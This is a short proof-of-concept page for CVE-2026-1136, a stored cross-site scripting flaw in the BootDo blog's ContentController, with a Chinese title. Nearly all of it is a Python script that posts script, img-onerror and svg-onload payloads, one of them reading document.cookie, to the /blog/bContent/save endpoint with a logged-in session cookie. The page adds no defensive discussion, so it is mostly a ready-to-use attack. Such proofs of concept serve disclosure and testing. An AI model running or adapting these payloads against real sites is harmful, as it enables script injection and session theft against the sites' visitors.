CVE-2026-1136: BootDo ContentController跨站脚本漏洞

import requests # CVE-2026-1136 XSS PoC for BootDo ContentController # Target: BootDo application with vulnerable /blog/bContent/save endpoint target_url = "http://target-server.com/blog/bContent/save" # Malicious XSS payload in content parameter payload = { "content": "<script>alert(document.cookie)</script>", "author": "<img src=x onerror=alert('XSS')>", "title": "<svg onload=alert('XSS')>" } # Authentication required (PR:L - Low Privileges) cookies = { "JSESSIONID": "your-session-id" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] XSS payload sent successfully") print("[+] Payload will execute when content is viewed") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")